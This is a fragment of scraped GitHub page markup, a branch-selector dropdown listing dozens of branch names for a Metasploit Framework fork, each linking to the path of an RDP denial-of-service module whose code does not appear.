class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/rlstest/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="rlstest" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="rlstest">rlstest</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/rsmudge-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="rsmudge-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="rsmudge-master">rsmudge-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/saintpatrick-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="saintpatrick-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="saintpatrick-master">saintpatrick-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sami_ftp_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sami_ftp_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sami_ftp_work">sami_ftp_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_mgmt_con_osexec_payload_multi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_mgmt_con_osexec_payload_multi" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_mgmt_con_osexec_payload_multi">sap_mgmt_con_osexec_payload_multi</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_modules_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_modules_review" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_modules_review">sap_modules_review</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_router_scan_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_router_scan_clean" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_router_scan_clean">sap_router_scan_clean</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_smb_relay/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_smb_relay" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_smb_relay">sap_smb_relay</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_eps_delete_file/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_soap_rfc_eps_delete_file" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_soap_rfc_eps_delete_file">sap_soap_rfc_eps_delete_file</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_eps_get_directory_listing/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_soap_rfc_eps_get_directory_listing" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_soap_rfc_eps_get_directory_listing">sap_soap_rfc_eps_get_directory_listing</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_pfl_check_os_file_existence/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_soap_rfc_pfl_check_os_file_existence" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_soap_rfc_pfl_check_os_file_existence">sap_soap_rfc_pfl_check_os_file_existence</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_rzl_read_dir_local_dir_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_soap_rfc_rzl_read_dir_local_dir_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_soap_rfc_rzl_read_dir_local_dir_cleanup">sap_soap_rfc_rzl_read_dir_local_dir_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_sxpg_call_system_exec_multi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_soap_rfc_sxpg_call_system_exec_multi" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_soap_rfc_sxpg_call_system_exec_multi">sap_soap_rfc_sxpg_call_system_exec_multi</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sap_soap_rfc_sxpg_command_exec_multi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sap_soap_rfc_sxpg_command_exec_multi" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sap_soap_rfc_sxpg_command_exec_multi">sap_soap_rfc_sxpg_command_exec_multi</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sapni_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sapni_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sapni_work">sapni_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/scriptjunkie-migrator/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="scriptjunkie-migrator" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="scriptjunkie-migrator">scriptjunkie-migrator</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sempervictus-dns_enum_over_tcp/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sempervictus-dns_enum_over_tcp" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sempervictus-dns_enum_over_tcp">sempervictus-dns_enum_over_tcp</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/setuid_tunnelblick/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="setuid_tunnelblick" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="setuid_tunnelblick">setuid_tunnelblick</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/setuid_viscosity/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="setuid_viscosity" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="setuid_viscosity">setuid_viscosity</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sevone_changes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sevone_changes" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sevone_changes">sevone_changes</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sonicwall_cmd_target/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sonicwall_cmd_target" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sonicwall_cmd_target">sonicwall_cmd_target</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sonicwall_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sonicwall_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sonicwall_fix">sonicwall_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sonicwall_test/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sonicwall_test" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sonicwall_test">sonicwall_test</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sophos_wpa_clear_keys/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sophos_wpa_clear_keys" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sophos_wpa_clear_keys">sophos_wpa_clear_keys</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/sophos_wpa_sblistpack_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="sophos_wpa_sblistpack_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="sophos_wpa_sblistpack_exec">sophos_wpa_sblistpack_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/spiderman_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="spiderman_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="spiderman_fix">spiderman_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/spip_connect_exec_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="spip_connect_exec_review" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="spip_connect_exec_review">spip_connect_exec_review</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/splunk_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="splunk_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="splunk_cleanup">splunk_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/splunk_upload_app_exec_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="splunk_upload_app_exec_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="splunk_upload_app_exec_cleanup">splunk_upload_app_exec_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/struts_default_action_mapper/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="struts_default_action_mapper" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="struts_default_action_mapper">struts_default_action_mapper</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/telnet-banner-unicode/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="telnet-banner-unicode" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="telnet-banner-unicode">telnet-banner-unicode</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/temp-4.4.0/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="temp-4.4.0" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="temp-4.4.0">temp-4.4.0</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/test-2188/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="test-2188" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="test-2188">test-2188</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/test_get_cookies/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="test_get_cookies" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="test_get_cookies">test_get_cookies</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/test_li_connection/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="test_li_connection" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="test_li_connection">test_li_connection</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/test_osx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="test_osx" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="test_osx">test_osx</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/twiki_maketext/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="twiki_maketext" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="twiki_maketext">twiki_maketext</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/udp_windows/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="udp_windows" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="udp_windows">udp_windows</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/uictl-disappeared/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="uictl-disappeared" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="uictl-disappeared">uictl-disappeared</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/undo_post/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="undo_post" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="undo_post">undo_post</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/unless_over_if_not/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="unless_over_if_not" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="unless_over_if_not">unless_over_if_not</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/unstable/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="unstable" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="unstable">unstable</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/update-pattern-create/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="update-pattern-create" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="update-pattern-create">update-pattern-create</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/use_office_ropdb/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="use_office_ropdb" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="use_office_ropdb">use_office_ropdb</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/v0pCr3w_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="v0pCr3w_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="v0pCr3w_work">v0pCr3w_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/vbulletin/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="vbulletin" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="vbulletin">vbulletin</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/vmware_vcenter_chargeback_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="vmware_vcenter_chargeback_upload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="vmware_vcenter_chargeback_upload">vmware_vcenter_chargeback_upload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/web-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="web-modules" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="web-modules">web-modules</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/windows_theme/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="windows_theme" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="windows_theme">windows_theme</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/work_2227/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="work_2227" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="work_2227">work_2227</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/work_osx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="work_osx" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="work_osx">work_osx</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/wp_asset_manager_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="wp_asset_manager_upload_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="wp_asset_manager_upload_exec">wp_asset_manager_upload_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/wp_property_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="wp_property_upload_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="wp_property_upload_exec">wp_property_upload_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zd_13_226/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zd_13_226" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zd_13_226">zd_13_226</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_006/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_006" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_006">zdi_13_006</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_130_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_130_exploit" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_130_exploit">zdi_13_130_exploit</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_182/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_182" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_182">zdi_13_182</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_190/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_190" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_190">zdi_13_190</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_205/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_205" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_205">zdi_13_205</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_207/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_207" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_207">zdi_13_207</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_13_225/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_13_225" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_13_225">zdi_13_225</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zdi_reference/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zdi_reference" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zdi_reference">zdi_reference</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zeknox-drupal_views_user_enum.rb/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zeknox-drupal_views_user_enum.rb" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zeknox-drupal_views_user_enum.rb">zeknox-drupal_views_user_enum.rb</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zenworks_control_center_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zenworks_control_center_upload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="zenworks_control_center_upload">zenworks_control_center_upload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/zeroSteiner-module-ms11-080/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="zeroSteiner-module-ms11-080" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text 